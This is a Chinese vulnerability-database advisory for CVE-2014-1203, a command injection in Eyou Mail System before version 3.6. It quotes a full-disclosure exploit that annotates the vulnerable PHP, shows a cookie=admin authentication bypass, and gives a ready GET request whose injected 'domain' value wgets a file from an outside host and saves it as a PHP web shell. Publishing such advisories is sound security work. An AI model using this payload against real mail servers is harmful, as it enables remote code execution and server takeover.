Eyou Mail System 安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1132388 漏洞类型 命令注入
发布时间 2014-01-08 更新时间 2019-12-12
CVE编号 CVE-2014-1203 CNNVD-ID CNNVD-201710-1137
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://cxsecurity.com/issue/WLB-2014010043
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201710-1137
|漏洞详情
Eyou Mail System是中国亿中邮(eYou)公司的一套电子邮件系统。 Eyou Mail System 3.6之前的版本中的‘get_login_ip_config_file’函数存在安全漏洞。远程攻击者可通过向admin/domain/ip_login_set/d_ip_login_get.php文件发送带有shell元字符的‘domain’参数利用该漏洞执行任意命令。
|漏洞EXP
Hi!
The Eyou Mail System have a Remote Code Execution in \inc\fuction.php.It affects version below 3.6.
The Vulnerability fuction is get_login_ip_config_file in \inc\fuction.php.
function get_login_ip_config_file($domain, $file) {
    $dir      = '/var/eyou/Domain/'; 
    $dir_mail = exec('/var/eyou/sbin/hashid '.$domain);  //$domain can control by us.
....
}
the other file in \admin\domain\ip_login_set\d_ip_login_get.php.
<?php
...
require_once('inc/domain.config.php');
//ValidateAdmin();  //We donn't need to login in.
$domainname = get_domain(); //Get cookie&#12288;&#12288;
$allow_file = 'web_login_allow_ip';  
$deny_file  = 'web_login_deny_ip';   
$domain     = trim(get('domain')); //$domain from here.
$type       = trim(get('type'));&#12288;&#12288;//Get type
$res = '';
if($domainname !== 'admin' && $domainname !== $domain) { //we just need control $cookie=admin can bypass it and go on.
    echo '';
    exit;
}
if($type === 'allow') {&#12288;//$type any go
    $file = $allow_file;
    $res .= 'ip_allow&';
} elseif($type === 'deny') {
    $file = $deny_file;
    $res .= 'ip_deny&';
} else {
    echo '';
    exit;
}
$file = get_login_ip_config_file($domain, $file);// use the vulnerability fuction 
if($file === FALSE) {
    echo $res;
    exit;
} 

Exp:
GET 
/admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow
 HTTP/1.1
Host: mail.xxx.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:cookie=admin
Connection: keep-alive
Thanks.



conqu3r.zeng
|参考资料

来源:FULLDISC
链接:http://seclists.org/fulldisclosure/2014/Jan/32